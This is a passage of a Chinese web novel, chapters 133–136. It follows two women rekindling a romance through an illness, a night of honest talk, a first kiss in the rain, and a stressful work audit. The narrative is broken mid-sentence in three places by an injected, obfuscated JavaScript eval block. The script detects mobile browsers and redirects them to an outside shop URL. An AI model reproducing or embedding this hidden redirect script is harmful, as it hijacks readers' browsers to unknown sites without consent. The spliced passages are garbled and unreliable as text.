她没有按平时习惯来,而是在浴室换好睡衣才出来。被热气和水雾浸透,她的身体舒展,脸颊红润。 “你看你想吃什么……”听到出来的声音,黎羽抬头,看见秦离的瞬间卡住了,“口味。” 她倏地站起来,左顾右盼,显得很忙:“我去给你找吹风机,你别坐沙发这头,空调对着吹的。” 很快,黎羽将吹风机递过来,秦离的视线落在她纤长的手指上,脸颊更红了。 黎羽又问了遍:“炸鸡吃什么口味?” “蜂蜜芥末。” 两人目光都错开了。 直到黎羽进了浴室,秦离提着的那口气才终于松了,拍了拍胸口。 怎么这么紧张…… 炸鸡到了。 秦离刚将盒子都摆在桌上,黎羽出来了。她周身弥漫着水汽,气质更加柔软,正单手用毛巾擦头发。没有被吸收的水从发梢滴出,落在她的锁骨上,缓缓向下,没入衣领,滑到看不见的地方。 秦离的喉头微动,刚刚被勾起的食欲和另一种隐秘的欲望混合在一起,让身体不安躁动。 她低下头假装玩手机,心想自己的脸一定红透了。 “外卖到了?怎么不先吃?” 黎羽坐在秦离身旁,相碰的手臂带着温热的触感,让她的身体颤了颤。 “嗯。”秦离含混应着。 黎羽瞄了她一眼,察觉到了,毛巾之下,嘴角微微勾起。 “小乖。” 黎羽侧身,突然凑了过去。熟悉的柠檬香瞬间包裹秦离的整个身体,比她身上的更加浓烈。 秦离的心脏快要跳出胸口,超出负荷了。 “……唔?” 黎羽脸上的笑意更明显了。 她的手虚抚过秦离的脸颊,从她身后的平台上取下吹风机。 两人之间恢复了正常距离,轰隆声响起,刚才的暧昧消失得无影无踪。 秦离心情大起大落,在发现黎羽嘴角的弧度后,终于反应过来了。 “好哇!你故意逗我,好坏!” 秦离超凶地用双手捏住黎羽的脸颊,一顿狂捏。 黎羽微举双手,招架住秦离的全部“报复”,只是更加笑脸盈盈地看着她。 她这么“听话”,秦离看着她脸上很轻微的红印,又不好意思了,不自在地咳了声,坐了回去。 “这次……这次就算了。” 133. Chapter 133 房间里气氛缱绻。 两人保持着微妙的尺度,小打小闹有,但都默契地没有更暧昧的举止。两人靠在沙发上,边吃炸鸡边看电影,秦离选了部轻松不过脑的爆米花片,确实很搞笑。 电影结束,已经差不多快十点了,晾着的衣服也被热气烘干。 黎羽关掉投影仪,房间又变得安静。秦离在看时间,黎羽看向她:“要回去了吗?” “……嗯。” “好,路上注意安全,到家了给我发消息。” “好哦。” 没有人提要不要留下来过夜。秦离有瞬间冲动,但犹豫片刻,还是将话咽了回去。 之后,两人间的状态一直这样不温不火,时间长了,秦离有些心焦。明明一开始是因为自己的请求,黎羽才选择了这样的相处方式,但现在她又不太满足了。 这样不断起伏的情绪多少影响了秦离的工作状态,在准备处长给上级的汇报材料时,她犯了低级错误,把台账的关键数据搞错了,还被上级当场指出。处长虽然没有批评她个人,但散会前严肃要求大家日后一定要提高工作标准,避免低级错误。 回到办公室,科长就叫秦离去谈心了。 “小秦呐,”科长经典语气开口,“你的工作一直做得相当出色,大家都有目共睹。但最近有些不在状态,事情没有统筹好,老是出些小纰漏,你说是不是?” “嗯……抱歉科长,确实是我自己的问题,我会好好调整的。”对自己的问题,秦离从来不回避,也不内耗,只想着如何解决。 科长故意轻松道:“看你有时候魂不守舍的,是不是出什么感情问题了?如果你愿意,就把我当知心大姐姐,闲聊几句也行。” “哈哈,没有,就是最近身体感觉不太舒服,可能导致精神也不太好。” 说着,秦离很自然地咳了两声。她虽工作认真,但也知道在单位给自己立个人设,身体不好加睡眠质量很好就是很不错的人设,再说也不是假话嘛。 科长果然相信了:“好好工作归好好工作,身体也要注意啊,假期去大医院好好看看,小病也不能拖。另外也别让你手下那两个小子闲着,放手让他们多干。” “好,谢谢科长!” …… 有些话还真不能瞎说。 那天秦离才跟科长说自己身体不太舒服,过两天就真遭罪了。 可能是天气回暖,换季时期骤热骤冷,周四早上,秦离一觉醒来,就觉得喉咙口干得冒烟,身体燥热,站起来天旋地转,差点没从床边栽下去。 体温计一量,三十八度二。 不是吧…… 秦离在心中哀嚎。 她给科长发了请假信息,艰难爬起来,就着矿泉水吃了退烧药,又给小狗顺手舀了碗狗粮,重新栽回床上。 秦离昏沉入睡,做了无数个光怪陆离的梦。再次醒来时,额头好像更烫了,再量体温,三十八度五。 不妙啊…… 理智告诉秦离,这时候她需要去医院挂吊水了,但身体实在不想动。她在手机上下单了另外两种退烧药的外卖,再度沉沉睡去。 不知道过去多久,秦离是被手机铃声给吵醒的。 “喂……”她以为是外卖到了,艰难摸到手机,声音有气无力,“东西放门口就行。” “……小乖?你怎么了,生病了吗?” 是黎羽啊…… 秦离的脑子转得很慢:“发烧……了……” “去医院了吗?” “没……” “你……算了,你在家吗,我先过来。” “好……” 秦离耗掉积攒的最后一点力气,将家里密码发给黎羽后,彻底昏睡过去了。 秦离已经烧得不省人事。意识模糊之中,她隐约听到有人喊自己:“小乖,小乖!”旁边是小狗在狂叫。 “安分点,我带你主人去医院。”那人这么说着。 是黎羽…… 秦离想回应她,但牙关紧咬,身体发软无力。 很快,她感觉自己被背了起来,双臂被环在黎羽的脖子上。黎羽的手托住她的大腿,背得很稳。 黎羽的背……似乎被过去宽广了许多。 明明自己的身体滚烫,秦离却仍能感觉到黎羽的体温和淡淡的草木香,熟悉的感觉。黎羽总是这样保护她,做她的依靠,一如从前。 生病让情绪也变得脆弱,秦离眼睛酸涩,泪水连串滑落,一滴,两滴,滴在黎羽的后颈上。 黎羽感觉到后颈的冰凉,知道秦离又哭了。她以为秦离是难受的哭,边加快朝外走的速度,边哄人:“乖,没事的,到医院就好了。” 秦离哭得更厉害了。 她越哭,黎羽越哄。越哄,她越哭。但黎羽没有厌烦,一直哄到医院。 “三十八度八,”年长的护士给秦离打上点滴,“已经耽误了一阵,再晚些,可能真的要烧坏了。年轻人,就算身体好也不能硬抗啊。” 黎羽都应着:“好的,谢谢。我们之后会注意的。” 护士走后,黎羽擦了擦额头的汗,终于歇了口气。她看着床上总算舒展眉头的秦离,理了理她凌乱的发丝:“你啊,一点都没好好照顾自己。” 点滴一直打到了傍晚,秦离温度降下来,人也终于清醒了。她睁眼就看见黎羽坐在床边的椅子上,单手支着额头,睡得不太安稳。 秦离知道,她照顾了自己一整天。 秦离想起身,床的吱呀声太大,把黎羽吵醒了。 “醒了?感觉好点了吗?”带着睡意,黎羽说话有些鼻音,听着很有磁性。 “嗯……”秦离觉得过意不去,“抱歉,今天太麻烦你了。” “你不用跟我这么客气,我会难过的哦。” 黎羽故意说着上次秦离讲过的一样的话,秦离也意识到了,更加不好意思了。 这时,护士进来取针,见人清醒了,又将之前嘱咐黎羽的话说了遍。 “回去好好休息,吃清淡些,明天再过去,要挂三天的吊水。” “……噢。” 秦离不情不愿。她特别不喜欢来医院,能硬扛着的就不吃药,能吃药的就不打点滴。 黎羽很清楚她这脾性,道:“明天我陪你来。” “……好哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370263|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 出了医院,秦离小声嘀咕:“你不上班的呀?” 黎羽笑着:“去老板的公司才叫上班,去自己的公司不用打卡。” 可恶的资本家,秦离捏拳暗道。 “别担心,有什么事我可以远程安排,”黎羽拿出车钥匙,“走吧,我送你回家。” 到家后,两人接受了视觉和嗅觉的暴击。 “天啊……” 秦离今天没顾上关好门,小狗将家里所有垃圾桶都翻了个遍,桌上的零食也被它咬开了,垃圾衔的屋里到处都是。大吃特吃后,它憋不住了,在窗帘边和好几处地板上都尿尿和便便了。 秦离只觉得眼前一黑,真想假装这不是自己家。 小狗也知道自己犯了大错,早缩在桌子底下去,也不跑过来摇尾巴迎接她了。 “你……你早点回去休息吧,我把房间收拾了就睡。” 秦离叹气。还能怎么样,又不能怪小狗,只能老老实实收拾烂摊子。 折腾了一天,黎羽确实挺累的,但看着秦离苍白的脸色,她不可能留她一人。 “一起吧。”她已经换鞋进门了,熟门熟路。 洗窗帘,收拾地板,去除异味,最后又投喂小狗,带它出去遛弯后,两个人都瘫在沙发上,累得不行。 歇了会,黎羽起身:“那我走了,你早点睡。” “等等!”秦离抓住了她的手腕,抬头望去。 黎羽低头看她,没说话,逆着光,看不清眼里的情绪。 “那个……”或许是烧还没退,秦离脑子还不清醒,嘴巴也不受控制,“要不要留下来过夜?额……我是说,现在太晚了,回去太远,开车不安全,你还是在我家休息,明早再回去吧。” 她说得语无伦次,心中懊恼,但仍坚持着。 黎羽沉默了许久,在秦离抓得越来越紧的力道中,终于点头了:“好。” 黎羽去洗澡时,秦离才后知后觉,家里一共三个房间,她一间,爸妈一间,还有一间本来是客房,但床上堆满了杂物。 现在,她们要么有一个人去睡沙发,要么睡一张床。 秦离有瞬间心动,但最终还是再装了一床被子,铺在靠墙一边。 黎羽出来时,看见的就是堆的满满当当的床,厚厚的两床被子分别团成了长团。 秦离解释着:“我毕竟还在生病嘛,传染给你就不好了,而且这样不容易抢被子感冒。” 话说出来显得有些亲昵,秦离又觉得似乎不解释比较好,听着好像她特别迫不及待和黎羽同被共枕。但她更不想给黎羽感觉自己在刻意跟她划清界限。 黎羽看她眉头皱成一团纠结得不行,俯身轻拍她的头:“别胡思乱想了,快睡吧。” “……好哦。” 钻进被窝里,关上灯,两人隔着一人的距离,房间里只有轻微的呼吸声。 即便如此,秦离依旧能感觉到黎羽强烈的存在感,让她难以入睡。 她侧过身,看着黑暗中黎羽的轮廓,脑子里仍是一团浆糊,理不清楚。 过了许久,黎羽突然叹了口气,道:“别……一直盯着我了。” 134. Chapter 134 秦离被逮个正着:“你怎么还没睡啊?” “你就一直这么……盯着我,有困意也睡不着了。” 那视线像小猫爪子似的,在目及之处的皮肤上轻轻地挠来挠去,扰得人无法心静。 “好吧。”秦离遗憾地往被子里缩了缩。 一会,她又探出来,只露出上半张脸:“阿羽?” “……”黎羽没招了,侧过身,“嗯。怎么了,不想睡吗?” 秦离明明看不清她的脸,却好像能感受到她无奈的神情。 “嗯。” “那,想聊天?” “……嗯。” 黎羽总能抓住她那些隐秘的心思。 “想聊些什么?” 秦离也不知道,摇摇头:“你随便说说吧,说你的生活,你的公司,你……这些年是怎么过的,都行。” “那时,我回柳城想着陪我妈最后一段日子,但医生说她的病还能治,虽然希望渺茫,但至少能让她活得更久些,只是需要钱,很多很多钱。” “我借了一部分钱,但长期来说不够。要能持续来钱,我只能接着她过去的服装生意继续做,大的小的买卖,只有有得赚的全都做。” “后来,我妈多活了两年,已经大大超过所有人预期,很不错了。她去世后,我接着把剩下的债还完,一直做生意,做着做着习惯了,也就懒得再换了。” 这些黎羽之前提过部分,轻描淡写。但现在,或许是深夜的缘故,回忆起过去,连她都难以控制地多泄露了丝情绪。 那时候的黎羽,即使表现得再成熟,也才二十三岁,就不得不直面如此残酷的现实,肩负这么多压力。 秦离也曾照顾过生病的母亲,知道这是多么辛苦的事。生病的人,即使平时再通情达理,在病痛的折磨下都会变得歇斯底里,不可理喻。 她累了,还能和父亲互相安慰,黎羽却自始至终都只有一个人。更不用说她还要承担家庭的全部开支,去生意场上摸爬滚打,和三教九流的人打交道。 也难怪她现在变得如此温和,不再像过去那样冷冽,什么样的人都能应对自如。 她不得不如此。 秦离很心疼她。 她很想能在黎羽最艰难的时候陪着她,但她更知道那时候幼稚天真的她帮不了一点,只会成为黎羽的负担。 哈哈,所以也难怪黎羽会跟她分手。 秦离什么也做不了,过去是,现在也是。 她挪了过去,隔着被子抱住黎羽:“你太辛苦了。还好,一切都过去,你现在也很棒很厉害,日子怎么样开心过怎么来,未来会越来越好的。” 即使隔着被子,秦离也仿佛感受到黎羽的身体,是如此柔软,不像外表看上去那么坚不可摧。两人的气息缠绕在一起,胸腔的起伏同频着,缓缓变快。 黎羽没有动,继续道:“我没你想象的那么好。” “其实我回去本来是想去嘲讽她的,嘲讽她强势了大半辈子,现在躺在那里是多么虚弱无助。” “我本来不打算管她的,但她当时躺在床上,插着气管,就一直看着我的方向,喊不出声,就念着我的名字。我知道,她不想死,也不想离开我。” “然后我就想,算了,最后时刻了,何必再和她闹呢。她要是能活着,那就继续活,要是死了,那我也不伤心。赚钱治病养家,只是对得起我自己而已。” 【我知道,说这些或许本身就是我软弱的表现。但看见她躺在床上喘气,连喝水进食都变得困难,一遍又一遍唤我的名字时,我又想算了,最后时刻了,何必再和她闹呢。】 秦离的心像是泡在了酸水中。原来,她还记得黎羽曾经发给自己的最后的消息。 原来,曾经黎羽并不是没有向她暴露过自己的内心。只是当时的她沉浸在被分手的悲伤中,没有看见她的痛苦。 秦离不知道该说什么,只有将黎羽抱得更紧。 “小乖……” “嗯。” “小乖……”黎羽的声音竟有些痛苦。 秦离心里更难受了:“嗯,我在。” “要……喘不过气了……” 秦离赶紧松开。 “没事吧?” 黎羽的呼吸变化并没有很大。秦离正疑惑时,有月光透过窗帘缝隙照进来,撒满她的脸庞。 秦离看见黎羽的眼里带着笑意。 她反应过来:“你又逗我!” 眼看着秦离气鼓鼓地要钻回被子里,黎羽伸出一只手,摸了摸秦离的头。 “我怕再不打断,有人又要掉眼泪了。” “哪有……”感受着黎羽温热的手心,秦离别别扭扭的。但被黎羽这么一打岔,刚才伤感的情绪淡了很多。 黎羽轻抚着秦离的发,盈盈月光下,目光愈发柔和:“那时候,我一定让你很难过了,抱歉。” 秦离的心好像也被她很柔软地触碰着、爱护着,原本蛰伏在阴暗处的某种悲伤、不甘和恐惧就像夜间的风般,轻轻飘散了。 她这才后知后觉,在对黎羽的心疼之外,曾经分手的创伤并非毫无痕迹。她以为自己已经遗忘了,本能仍会疼痛畏惧。她总说两个人分开是因为不合适,从不说爱或不爱,其实是在逃避。 直到此刻,她的伤痛被看见了,被温柔地安抚着。 “真是的,说着不想让我哭,又讲这么煽情的话。” 秦离的声音哽咽,却是笑着的,没有泪水。她抓着黎羽的手,用脸颊轻轻蹭着她的手心。 “没关系,都过去了,我们以后都会越来越好的。” “嗯……” 已经开了个头,黎羽索性将心底话都讲了:“小乖,遇见你,我真的很开心,但如果没有遇见,我的日子也依旧这样过下去,不好不坏。所以我或许给不了你想要的那种热情,也不会当无限期等待的痴情人。” “没有爱情,还是要继续走下去的。” 如果是十年前的秦离听见这样的话,即使表面赞同,心中多少都会有些失落。但现在,在经历了许多生活的坎坷后,她太能理解黎羽的心情了。 爱情,是奢侈品,是人生的奇迹。茫茫人海中,两个人恰好在同一时间喜欢上彼此,又恰好有机会在一起,还能一直在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370264|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,这是件多么不可思议的事。 没有了爱情,还是要活着的。 同样承受了许多伤痛,这次,黎羽还愿意主动走向自己,秦离已深深被打动。 所以,重逢后,秦离从来不问当年两人分开后,黎羽还有没有谈过其她人。 有,还是没有,都不重要。 现在的问题不在黎羽,而在她身上。是她没有下定决心,用百分百的心意去回应黎羽。 而且想到桌子上的盒子,秦离有些心虚,又庆幸它是合上的,看不到里面的东西。 她沉默的时间有些久,黎羽以为自己说的话让她失望了。 “抱歉。”她垂眸,想将手收回来。 秦离猛地抓住,不让她离开。 “不是你的问题!是……我,是我没有做好准备,让你伤心了。” 秦离与她十指相扣着:“我不需要你一直等着我,不管最终如何,我都只想你开心,不要难过。” “……好。” 今夜,两人将话全部都说开了,再无心结。 秦离彻底消除心中那些隐秘的不安,连身体都好像好了不少。她打了个哈欠,困意来袭。 “困了吗?” “唔……” “那睡吧。” “好哦,晚安。” “晚安。” 两人面对面躺着,秦离抓着黎羽的手,一整夜都没有松开。 第二天,第三天,有黎羽陪着去打吊针,秦离的病很快就彻底好了。 之后,如同逐渐回暖的天气和盛开的花朵般,一切都顺遂起来,无论是工作,还是和黎羽的相处。 每个周末,两人都会聚一次,由其中一方选择一项活动,下次换另一方。有时候是打垒球、飞盘或徒步,有时候是读书会、看电影或单纯坐在公园里闲聊发呆。 周中偶尔下班也会一起吃饭,如果一方太累了,两人便只是安安静静地吃东西,也不强求要怎样相处。 与黎羽的每一次相处都成为秦离每天会期待的事。秦离越来越习惯于在黎羽面前暴露她的各种小毛病。黎羽也会说些工作中无关商业秘密的苦恼,逐渐不用假面伪装自己。 她们亲密,却又不急于在身体上变得亲密。除了牵手、拥抱和落在发上和额头的吻,两人没有更深入的接触。 得益于状态越来越好,秦离也有精力去思考自己的人生、和黎羽的未来,心中隐隐有些想法。 五月下旬,天气已经开始变得燥热,阳光逐渐强势地侵扰大地,让万物染上它的温度。 今天的活动是黎羽选的,近景魔术,在神秘街道上的神秘小店里。店没有招牌,靠神秘暗号开门。进去后就是个魔术师过往介绍的长廊,然后转角上二楼,魔术师就坐在桌后,笑着欢迎大家的到来。 整个场只坐八个人,就在桌前。秦离和黎羽坐在第一排。 开始前,秦离戳了戳黎羽,小声问:“怎么找到这里来的?” “网上随便搜的,最近刚好对魔术感兴趣。” 秦离是真的很开心,为黎羽也在慢慢尝试着想要做什么而开心。 135. Chapter 135 皮筋、扑克、魔方、丝巾、帽子,都是经典的魔术道具。没有过于震撼,但因为面对面的近距离观察和参与,让人有沉浸式体验。 全程,秦离都非常投入地观看和鼓掌,十分捧场。她大概就是表演者最喜欢的观众,不会吝啬欢呼和鼓励。 倒是主动提议来看魔术的黎羽更为平静,只是看得很认真。 演出结束,离开神秘小店,天已经彻底黑了。晚风仍残留着暖意,夜晚的气息浓烈而厚重,像是曾经在云林的每个夏夜。 这条小路是靠河边的热闹夜市,有很多吃喝玩乐的摊位,两人顺着河边边走边吃。周围人来人往,却好像被无形的屏障阻隔开,离得很远。 两人自成一个世界。 秦离欢欣雀跃,走路都像乘着风。 “所以,你怎么突然对魔术感兴趣了?” 黎羽神秘地笑着。她手从衣兜里拿出来,手上拿着两个黄色皮筋,用大拇指和食指撑着两端,两个皮筋互扣在内侧。 “看——” 秦离的注意力转移到交错的皮筋上。 黎羽轻轻拉扯着皮筋,展示它们不可分开的状态,然后突然一用力,两根皮筋就这么成功分开了。 一切就像刚才近景魔术的开场一样。 “哇——” 秦离眼睛发光:“好厉害,怎么做到的?” “魔术要是揭露就变得没意思了,”黎羽情绪难得外露,脸上藏不住的得意,“最近尝试了下,发现也不是很难。刚才的表演,很多手法就挺明显的。” “哼,你这太凡尔赛了!”反正秦离是一个也没看出来。 黎羽抿嘴笑着:“手上比较灵活的事我大概都挺擅长的,调酒也是。” “是哦……” 之前她们去做手工,黎羽总能做得又快又好。她确实……手上总是很灵活,秦离的脑子跑偏到奇怪的地方,脸微微泛红。 为了避免被看出来,秦离刻意将话题引向其它地方:“说起调酒,我都还没喝过你调的酒呢!”她们正式见面后,去橘色的时候就变少了,后来她只去过黎羽家几次,也没喝上。 黎羽见她完全忘了,无奈道:“之前你就已经喝过了。” “嗯?” “店里百日活动那次。” “……啊!”秦离想起来了,“那杯真的是你调的啊?” 她对那个超内敛的服务生还有印象。当时她好像的确提了是老板调的酒,但那时候秦离从来没见过黎羽,所以即使后来知道许平平说的很会调酒的银发帅气老板就是黎羽,她脑里也始终没划上等号。 “那我运气还是不错哦,那时候就已经喝上了。那杯确实好对我口味,超喜欢的~” 黎羽用看傻子的眼神看着秦离。 秦离后知后觉:“等等,所以当时你是专门给我调的?” 黎羽手一转,两根皮筋消失不见。她捏了捏秦离嘟嘟的脸:“呆呆的。百日活动,确实很巧哦~” “又欺负人,”秦离嘀咕着,抓着黎羽的手,摇了摇,“你那时候就知道是我,怎么不找我啊。” 哼,秦离现在回想,黎羽当时不仅不找自己,肯定还故意避着。不然哪儿那么巧,每次她去的时候就见不到人,许平平倒是见了好多次。 黎羽任她摇着,只说:“那时候不太合适,而且……我也不确定你还想不想看见我。” “怎么会不想看见!” 不想看见的话,那阵子她又何必天天往橘色跑。 “知道了,”黎羽捏了捏她的手心,笑着,“走吧,我们堵在路口了。” 秦离这才意识到,她们站在路中间,挡住别人行走了。她格外不好意思朝身后微微点头,顺着黎羽牵人的力道往前小跑。 河边的圆形小平台上,有人在点仙女棒,小小的火花画出小小的爱心。 秦离盯得久了些,黎羽问道:“要玩吗?” 脑子有些画面闪过,秦离条件反射摇头:“不玩这个。” 她拒绝得很强硬,黎羽有些诧异。 秦离意识到自己失态了。她左右瞄着,看到远处桥头有人在弹吉他,连忙道:“我们去那边看看吧。” “好。”黎羽没有再问。 秦离又想转戒指了,但她和黎羽牵着手,戒指也不在手上。 这时,她才反应过来,黎羽说的那时候不合适是什么意思。 心里胡思乱想着,秦离已经跟着黎羽的脚步走到桥上了。 桥头站着位四十多岁的中年女子。她挽着低矮的马尾,穿着黑夹克,伴着吉他旋律,声音温柔慵懒。 “Nootherlove canwarmmyheart NowthatI''veknownthfortofyourarms Nootherlove”① 是卡罗尔的歌。 黎羽松开手。 秦离还来不及挽留,就看见黎羽站在她面前,单手伸出,做了个邀请的姿势:“要跳舞吗?”昏黄的路灯落在她身上,全世界的光芒都好像向她涌去,只有她,如此夺目。 这一刻,秦离只能痴痴地看着她,所有的犹豫、顾虑都被瞬间抛弃。她的眼睛、鼻子、耳朵、肌肤,所有的感官都只为她开放,只想被她全部占有。 她们曾经在雨夜里,在封闭的房间里,在冰冷的地板上跳舞。 现在,在人声鼎沸的街头,她根本察觉不到其她人的目光。 她只想伸出手,紧紧抓住她,不再分离。 “Nootherlipscouldwantyoumore forIwasborntogloryinyourkiss”② 天空下起浠沥沥的小雨,行人们开始奔跑。雨幕中,只有依旧在歌唱的人和两个紧紧相拥的人。 身体轻轻摇晃着,脚尖与脚尖相触,鼻尖蹭过鼻尖,呼出的每一口气息都混合着,然后再被贪婪地吸入肺叶。 她们的皮肤变得冰冷,内里却越来越火热。 唇与唇间的距离已经变得无限近。秦离的嘴唇微张,搂住黎羽的脖子,在这种若即若离中,呼吸变得愈发急促。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370265|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“Iwasblessedwithlovetoloveyou Tillthestarburnoutaboveyou Tillthemoonisbutasilvershell Nootherlove Letnootherlove”③ 明月依旧高悬,皎洁的光芒轻盈地落在两人身上。 秦离终于忍不住,主动凑了过去。 唇与唇的触碰,冰冷而干燥,却瞬间点燃了她的整颗心。她才发现,她的渴望是如此的强烈,一股电流顺着血管窜到她身体的每一寸,带着身体发软颤抖。她闭着眼,只想溺死在黎羽的怀抱里。 天空在此刻都停止了变幻,大地或许不再旋转,连雨水都变得遥不可及。 此刻,只有她和她,只有彼此。 不知道过去了多久,两人终于不舍分开。 秦离睁开眼,才发现自己早已泪流满面,脸上已分不清是泪水还是雨水。 黎羽宠溺地看着她,目光深邃,像是将整片月光都沉淀在眼底。她没开口,但秦离知道,她肯定又想说,自己怎么这么爱哭了。 不知道为什么,在黎羽面前,她的眼泪总是特别多。 黎羽连这话都不舍得说出来。她只是捧着秦离的脸,一点点温柔地吻去她所有的泪水。 越是如此,秦离便越想哭,而黎羽就这么不厌其烦,慢慢哄着她。 雨渐渐停了,两人牵着手,继续顺着河边这样默默走着,不知目的地在何处,也不用知道。 许久许久,两人才依依不舍准备分开。 分开前,秦离觉得自己应该说些什么的,但心中荡漾着,难以平静,只能紧紧抓着黎羽的手,不想松开。 黎羽没有逼她,只是亲了亲她的额头:“回去洗个热水澡,好好休息,不要感冒了。” “嗯,你也是。” 终于出声,秦离才意识到自己的声音如此软绵,乖得不像她了。 黎羽摸摸她的头,笑得更明媚了。 回到家里时已经是深夜了。 秦离没有睡意,靠坐在床边,望着天上一轮明月发呆。 她心中已经有了思量。 月光下,秦离打开手机,看着相册里跟洛依有关的所有照片。她每一张都细细看着,每一张都让她回想起过去的某个时刻,某段或快乐或痛苦的记忆。 她看完了,然后一张一张地删除。 最后,在回收站里彻底清理。 然后,她又将手机的布局和文件夹命名全部更改。 做完这一切,秦离才意识到她的手指在颤抖,额头出了一层暴汗。 看着桌上放着戒指和照片的盒子,还有联系人列表里洛依的名字,秦离没有动。 到这最后一步了,她又犹豫了,不是犹豫是否要结束,而是觉得不应该就这么随便地彻底结束。戒指和照片,还有其它所有相关东西的归宿,也不应该是垃圾桶。 让它们埋入土中,或进入水中,被泥土和河流带去她永远看不见的地方。 136. Chapter 136 秦离还没来得及行动,第二天就被科长委以重任。 “小秦呐,下周审计工作组就要入驻了,估计要呆两到三个月。这个项目的情况你最清楚,最近辛苦下,好好配合她们,她们要什么就找什么,问什么就答什么。等审计结束,你再休假好好放松放松。” “好的,明白。” 秦离也只能答应,心里哀叹,之前的舒坦日子一去不复返了。 年初的时候,审计就已经启动审前调查了,但秦离没想到她们来得那么快。 审计的工作时间是周一到周六,从早到晚。她们在,秦离也只有陪着,随时准备回答问题、查找资料、协助调查。 入驻前的最后一个悠闲的周末,和黎羽的最后一次悠闲聚会,秦离“嚎啕大哭”:“接下来可能没什么机会碰面了。有个大项检查,我估计得启动疯狂加班模式QAQ” “这么忙碌啊,一周一次也聚不了吗?”黎羽半开玩笑,“不会是故意避开我的理由吧。” 上次见面时的情形,本应让之后的进展都水到渠成。 “当然不是!”秦离恨不得把通知文件翻给她看,如果不是保密问题的话。 黎羽笑着安抚她:“好好,我知道,我知道的。” 秦离却不想造成误会,认真解释:“我们每天早上八点上班,工作组在的话晚上至少也要十点多才能下班,一周六天。这还只是配合检查,其它大项工作也要同步推进,所以等她们下班了,我有时候说不定还要继续加班,周日也不好说。” “只要有空,我当然是希望能和你见面的!如果你可以的话,我凌晨都可以!” 黎羽自然不希望秦离如此辛苦。她收起刚刚调笑的语气,正经道:“没关系,工作要紧。刚好最近公司业务也到关键时候了,我说不定也要频繁出差。等什么时间有空我们再聚就好。” “真的?”秦离怀疑这是她体谅自己的托词。 毕竟黎羽总是如此,从外表看不出她内心的真实想法。 “真的。”黎羽表情认真。 “好吧。”秦离垂头丧气趴在桌上。 不管黎羽说的是真是假,也只能如此了。 突如其来的变故打了秦离个措手不及,她没完全收拾好心情,将所有东西处理好,也不想就这么随便说出自己的心意。 只能等等,等稍微空闲些的时候了。 黎羽安抚着拍拍她的头。 秦离突然蹦直了:“不行,今天我要大吃特吃,抚慰即将受伤的心灵。” 黎羽抿嘴笑着:“好。” 当天以连吃七份小蛋糕结束,秦离自认已经做好应战准备了,没想到日子比她想的还要痛苦。 “受不了了……真的受不了了……” 周日,秦离失去了全部活力,只能瘫在床上,抱着手机疯狂向全世界吐黑泥。 【怎么会有这么折磨人的事。一天我要被喊过去十来遍,每次送材料都会领到一张新的材料查找清单。找的速度还没有她们要的速度快。】 【把所有人员信息、购买资格和转让情况列成一张大表。简简单单一句话,我搞两周都搞不完啊啊啊啊——】 【还有突然就通知要去哪里接人,要送人去哪里了,然后半天就没有了[小黄人微笑]】 【以及这个资料我不是提供过了吗!这个问题我不是解释过了吗!怎么过两天又换个人问我啊!你们消息不互通吗啊啊啊啊——】 平心而论,这个工作组除了极个别人说话武断外,大部分人态度还是很温和的。但是架不住她们漫天要资料、提问题,一份资料可以衍生出十份新的查找清单,一个回答可以衍生出十个新问题。 子子孙孙无穷尽啊—— 秦离感觉自己就是那可怜的山,快要被掏空了。 为了避免在黎羽面前反复吐黑泥显得太难看,秦离克制着把崩溃的情况分享给所有朋友承担,得到了同在体制内小伙伴的强烈共鸣。 应对检查这种事,真的是会毁掉一个人的美好品质和积极健康的生活态度。 跑路,一定跑路! 每天熬到深夜的秦离坚定了前阵子的想法。不像之前被安逸磨平了意志,决定慢慢来,她现在争分夺秒,固执地在疯狂加班之外,还要挤出时间来完善作品集,改简历。 虽然进度依旧慢得出奇。 这破地方,她是一天都不想呆了! 这也导致她确实没有多余的时间出门了。 黎羽之前说的公司忙起来,要频繁出差的事似乎也是真的。 至少,在秦离喘息的空隙,问黎羽要不要到她家玩的时候,黎羽要么就是在外地出差,要么就是公司确实有事。 好几次通电话时,她听见黎羽的声音跟她一样,充满疲惫。 但即使再忙,黎羽的消息始终没有断过。 【能休息的时候还是尽量多休息,我给你买了个抱枕,在办公室歇的时候可以用。】 【好昂![兔兔飞奔.gif]】 这种忙碌且老是错开的相处状态跟过去有些相似,但秦离心中却并不惶恐。 她知道,黎羽并没有忽视自己,她已经尽量在照顾自己的情绪了。 而且,她就算再讨厌这份工作,还是敢拍着胸脯说,她绝对把事情都做得很好,就算是“当一天和尚,敲一天钟”,她也是敲得最出色的那个。 